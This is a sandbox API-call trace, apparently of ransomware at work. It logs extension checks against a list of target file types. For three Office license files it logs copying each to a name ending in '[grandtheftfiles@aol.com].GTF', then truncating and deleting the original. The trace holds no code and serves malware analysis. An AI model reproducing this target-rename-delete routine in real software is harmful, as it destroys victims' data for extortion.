	[0168.648] lstrlenW (lpString=".pdf") returned 4
	[0168.648] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0168.648] lstrlenW (lpString=".xls") returned 4
	[0168.648] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0168.648] lstrlenW (lpString=".xlsx") returned 5
	[0168.648] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0168.648] lstrlenW (lpString=".ppt") returned 4
	[0168.648] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0168.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0168.648] lstrlenW (lpString=".zip") returned 4
	[0168.648] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0168.648] lstrlenW (lpString=".rar") returned 4
	[0168.648] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0168.648] lstrlenW (lpString=".bz2") returned 4
	[0168.648] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0168.648] lstrlenW (lpString=".7z") returned 3
	[0168.648] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0168.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0168.648] lstrlenW (lpString=".dbf") returned 4
	[0168.648] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0168.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0168.648] lstrlenW (lpString=".1cd") returned 4
	[0168.648] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0168.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0168.648] lstrlenW (lpString=".jpg") returned 4
	[0168.648] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0168.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0168.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0168.649] lstrlenW (lpString=".doc") returned 4
	[0168.649] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0168.649] lstrlenW (lpString=".docx") returned 5
	[0168.649] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0168.649] lstrlenW (lpString=".pdf") returned 4
	[0168.649] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0168.649] lstrlenW (lpString=".xls") returned 4
	[0168.649] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0168.649] lstrlenW (lpString=".xlsx") returned 5
	[0168.649] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0168.649] lstrlenW (lpString=".ppt") returned 4
	[0168.649] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0168.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0168.649] lstrlenW (lpString=".zip") returned 4
	[0168.649] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0168.649] lstrlenW (lpString=".rar") returned 4
	[0168.649] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0168.649] lstrlenW (lpString=".bz2") returned 4
	[0168.649] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0168.649] lstrlenW (lpString=".7z") returned 3
	[0168.649] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0168.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0168.649] lstrlenW (lpString=".dbf") returned 4
	[0168.649] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0168.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0168.649] lstrlenW (lpString=".1cd") returned 4
	[0168.649] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0168.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0168.649] lstrlenW (lpString=".jpg") returned 4
	[0168.649] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0168.650] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0168.650] lstrlenW (lpString="AccessR_Trial-pl.xrm-ms") returned 23
	[0168.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0168.651] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11143) returned 1
	[0168.651] CloseHandle (hObject=0x55c) returned 1
	[0168.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 0x220
	[0168.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0168.652] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.652] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0168.653] GetLastError () returned 0x0
	[0168.653] ReadFile (in: hFile=0x55c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2b87, lpOverlapped=0x0) returned 1
	[0168.654] WriteFile (in: hFile=0x3e0, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2b90, lpOverlapped=0x0) returned 1
	[0168.655] ReadFile (in: hFile=0x55c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.656] WriteFile (in: hFile=0x3e0, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x102, lpOverlapped=0x0) returned 1
	[0168.656] SetEndOfFile (hFile=0x3e0) returned 1
	[0168.656] CloseHandle (hObject=0x3e0) returned 1
	[0168.656] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.656] SetEndOfFile (hFile=0x55c) returned 1
	[0168.659] CloseHandle (hObject=0x55c) returned 1
	[0168.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 1
	[0168.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0168.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0168.660] lstrlenW (lpString=".doc") returned 4
	[0168.660] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.660] lstrlenW (lpString=".docx") returned 5
	[0168.660] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.660] lstrlenW (lpString=".pdf") returned 4
	[0168.660] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.660] lstrlenW (lpString=".xls") returned 4
	[0168.660] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.660] lstrlenW (lpString=".xlsx") returned 5
	[0168.660] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.660] lstrlenW (lpString=".ppt") returned 4
	[0168.660] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0168.660] lstrlenW (lpString=".zip") returned 4
	[0168.660] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.660] lstrlenW (lpString=".rar") returned 4
	[0168.661] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.661] lstrlenW (lpString=".bz2") returned 4
	[0168.661] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.661] lstrlenW (lpString=".7z") returned 3
	[0168.661] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0168.661] lstrlenW (lpString=".dbf") returned 4
	[0168.661] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0168.661] lstrlenW (lpString=".1cd") returned 4
	[0168.661] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0168.661] lstrlenW (lpString=".jpg") returned 4
	[0168.661] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0168.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0168.661] lstrlenW (lpString=".doc") returned 4
	[0168.661] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.661] lstrlenW (lpString=".docx") returned 5
	[0168.661] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.661] lstrlenW (lpString=".pdf") returned 4
	[0168.661] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.661] lstrlenW (lpString=".xls") returned 4
	[0168.661] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.661] lstrlenW (lpString=".xlsx") returned 5
	[0168.661] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.661] lstrlenW (lpString=".ppt") returned 4
	[0168.661] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0168.661] lstrlenW (lpString=".zip") returned 4
	[0168.661] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.661] lstrlenW (lpString=".rar") returned 4
	[0168.662] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.662] lstrlenW (lpString=".bz2") returned 4
	[0168.662] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.662] lstrlenW (lpString=".7z") returned 3
	[0168.662] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0168.662] lstrlenW (lpString=".dbf") returned 4
	[0168.662] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0168.662] lstrlenW (lpString=".1cd") returned 4
	[0168.662] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0168.662] lstrlenW (lpString=".jpg") returned 4
	[0168.662] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.662] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0168.662] lstrlenW (lpString="AccessR_Trial-ppd.xrm-ms") returned 24
	[0168.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0168.663] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=20901) returned 1
	[0168.663] CloseHandle (hObject=0x55c) returned 1
	[0168.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 0x220
	[0168.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0168.664] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.664] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0168.664] GetLastError () returned 0x0
	[0168.664] ReadFile (in: hFile=0x55c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x51a5, lpOverlapped=0x0) returned 1
	[0168.959] WriteFile (in: hFile=0x3e0, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x51b0, lpOverlapped=0x0) returned 1
	[0168.978] ReadFile (in: hFile=0x55c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.978] WriteFile (in: hFile=0x3e0, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x104, lpOverlapped=0x0) returned 1
	[0168.978] SetEndOfFile (hFile=0x3e0) returned 1
	[0168.978] CloseHandle (hObject=0x3e0) returned 1
	[0168.978] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.978] SetEndOfFile (hFile=0x55c) returned 1
	[0169.137] CloseHandle (hObject=0x55c) returned 1
	[0169.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.137] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 1
	[0169.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0169.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0169.138] lstrlenW (lpString=".doc") returned 4
	[0169.138] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.138] lstrlenW (lpString=".docx") returned 5
	[0169.138] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.138] lstrlenW (lpString=".pdf") returned 4
	[0169.138] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.138] lstrlenW (lpString=".xls") returned 4
	[0169.138] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.138] lstrlenW (lpString=".xlsx") returned 5
	[0169.138] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.138] lstrlenW (lpString=".ppt") returned 4
	[0169.138] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0169.138] lstrlenW (lpString=".zip") returned 4
	[0169.138] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.138] lstrlenW (lpString=".rar") returned 4
	[0169.138] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.138] lstrlenW (lpString=".bz2") returned 4
	[0169.138] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.139] lstrlenW (lpString=".7z") returned 3
	[0169.139] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0169.139] lstrlenW (lpString=".dbf") returned 4
	[0169.139] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0169.139] lstrlenW (lpString=".1cd") returned 4
	[0169.139] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0169.139] lstrlenW (lpString=".jpg") returned 4
	[0169.139] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0169.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0169.139] lstrlenW (lpString=".doc") returned 4
	[0169.139] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.139] lstrlenW (lpString=".docx") returned 5
	[0169.139] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.139] lstrlenW (lpString=".pdf") returned 4
	[0169.139] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.139] lstrlenW (lpString=".xls") returned 4
	[0169.139] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.139] lstrlenW (lpString=".xlsx") returned 5
	[0169.139] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.139] lstrlenW (lpString=".ppt") returned 4
	[0169.139] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0169.139] lstrlenW (lpString=".zip") returned 4
	[0169.139] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.139] lstrlenW (lpString=".rar") returned 4
	[0169.139] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.139] lstrlenW (lpString=".bz2") returned 4
	[0169.140] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.140] lstrlenW (lpString=".7z") returned 3
	[0169.140] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0169.140] lstrlenW (lpString=".dbf") returned 4
	[0169.140] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0169.140] lstrlenW (lpString=".1cd") returned 4
	[0169.140] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0169.140] lstrlenW (lpString=".jpg") returned 4
	[0169.140] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.140] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0169.140] lstrlenW (lpString="client-issuance-stil.xrm-ms") returned 27
	[0169.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0169.141] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3380) returned 1
	[0169.141] CloseHandle (hObject=0x55c) returned 1
	[0169.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 0x220
	[0169.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0169.142] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.142] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0169.143] GetLastError () returned 0x0
	[0169.143] ReadFile (in: hFile=0x55c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0xd34, lpOverlapped=0x0) returned 1
	[0169.144] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xd40, lpOverlapped=0x0) returned 1
	[0169.145] ReadFile (in: hFile=0x55c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.145] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x10a, lpOverlapped=0x0) returned 1
	[0169.145] SetEndOfFile (hFile=0x504) returned 1
	[0169.145] CloseHandle (hObject=0x504) returned 1
	[0169.146] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.146] SetEndOfFile (hFile=0x55c) returned 1
	[0169.148] CloseHandle (hObject=0x55c) returned 1
	[0169.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 1
